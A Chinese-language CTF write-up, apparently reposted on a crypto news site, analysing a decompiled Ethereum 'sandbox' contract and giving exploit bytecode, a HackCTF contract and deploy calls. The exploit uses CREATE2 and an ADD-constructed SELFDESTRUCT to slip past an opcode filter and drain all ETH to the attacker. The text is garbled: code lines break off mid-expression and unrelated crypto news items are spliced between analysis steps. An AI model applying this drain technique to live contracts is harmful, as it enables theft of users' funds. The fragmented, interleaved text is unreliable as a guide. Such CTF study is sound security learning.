基于samczsun的解析文章学习
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。
SportsIcon完成550万美元种子轮融资,Dapper Labs等参投:11月25日消息,NFT体育平台SportsIcon宣布完成550万美元种子轮融资,投资者包括Dapper Labs、 AU21 Capital、Vinny Lingham、Elefund VC 、Fourth Revolution Capital、Vendetta Capital、FishDao、Techstars等。[2021/11/25 7:10:18]
首先是函数1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg
可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:
动态 | ConsenSys希望通过新投资将年收入增加到1亿美元:昨日据The Information报道,ConsenSys正在寻求约2亿美元的新投资。根据CoinDesk获得的融资材料,ConsenSys计划2019年的开支为1.52亿美元,预计收益为5200万美元,现金消耗为1亿美元。通过额外的资金,ConsenSys预计到2020年将实现以下目标:启动至少10个区块链网络,将年收入增加到1亿美元,代币化其所谓的“网格”项目中的30%,并帮助以太坊社区实现2.0升级。[2019/4/17]
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
与set_array函数类似
再看函数3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
动态 | ConsenSys与证券型代币咨询公司Satis Group达成战略合作关系:以太坊孵化器ConsenSys宣布与证券型代币咨询公司Satis Group建立战略合作伙伴关系。ConsenSys 表示,该合作将为证券型代币发行方和投资者提供快速成熟的生态系统,并提升ConsenSys数字证券公司的咨询服务能力。[2019/3/31]
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函数4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
声音 | ConsenSys:减少以太坊区块奖励将降低通胀:据bitcoinexchangeguide报道,预计于1月16日进行的以太坊君士坦丁堡升级将使矿工的区块奖励从3ETH降至2ETH。对此,ConsenSys发布博客文章称,以太坊网络上的矿工行为背后的主要动力不是每枚ETH的区块奖励,而是电价和ETH的价格。哈希值下降以及挖矿难度的降低是电价和ETH价格无法创造有利可图的环境的结果。以太坊区块奖励下降将导致通胀率下降。如果ETH通胀减少对市场产生积极影响,那么矿工们就会回归以太坊网络。[2019/1/15]
v7,v8=varg0
require(v7);}
可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:
要求调用该函数的msg
v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners
声音 | ICONIZ标准资本赵晨:市场下行通道下比特币可能到3000及以下:金色财经11月27现场报道,今日首届B2 FinTech科技金融全球峰会暨颁奖盛典在香港举行。
ICONIZ标准资本赵晨指出,在整体市场流动性资产处于下行通道时,比特币到3000及以下是有可能的,但比特币对于资金的敏感度比较强,只要有交易量的进入,未来还是向好的。[2018/11/27]
i=1;}require(permit);
3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0
assert(v5<varg0
}
问题分析-2
现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。
首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义
简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。
故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。
先用opcode来写runtimecode:
//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。
本文来源于非小号媒体平台:
登链社区
现已在非小号资讯平台发布105篇作品,
非小号开放平台欢迎币圈作者入驻
入驻指南:
/apply_guide/
本文网址:
/news/10087897.html
免责声明:
1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险
2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场
上一篇:
SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」
今日热点:1.西班牙对外银行:向在瑞士的所有私人银行客户开放比特币交易服务。2.四川开启虚拟货币挖矿项目清退工作,要求发电企业自查自纠,立即停止向虚拟货币“挖矿”项目供电,对排查发现的虚拟货币“.
1900/1/1 0:00:00尊敬的ZT用户:ZT创新板即将上线BabyEverDoge,HOD,并开启BabyEverDoge/USDT,HOD/USDT交易对.
1900/1/1 0:00:00亲爱的用户:为回馈广大用户,HomiEx将举行“寻找欧洲杯预言家,竞猜送BZZ”活动,欢迎大家参与体验.
1900/1/1 0:00:00在过去的几十年里,我们中的许多人都受益于互联网给我们生活带来的巨大变化。我们已经习惯于持续获取信息、社交媒体使虚拟社区建设成为可能,以及电子商务网站提供的轻松和便利.
1900/1/1 0:00:00亲爱的KuCoin用户:为庆祝KuCoin交易机器人合约网格全面上线受到用户好评,同时也希望更多新用户能够感受到交易机器人的优势,获得更多收益.
1900/1/1 0:00:00链闻消息,据深链财经报道,四川省发改委、能源局面向各州市人民政府、国网四川省电力公司、省能投集团、中央在川发电企业、省属国有发电公司,发布《关于清理关停虚拟货币「挖矿」项目的通知》,通知表示.
1900/1/1 0:00:00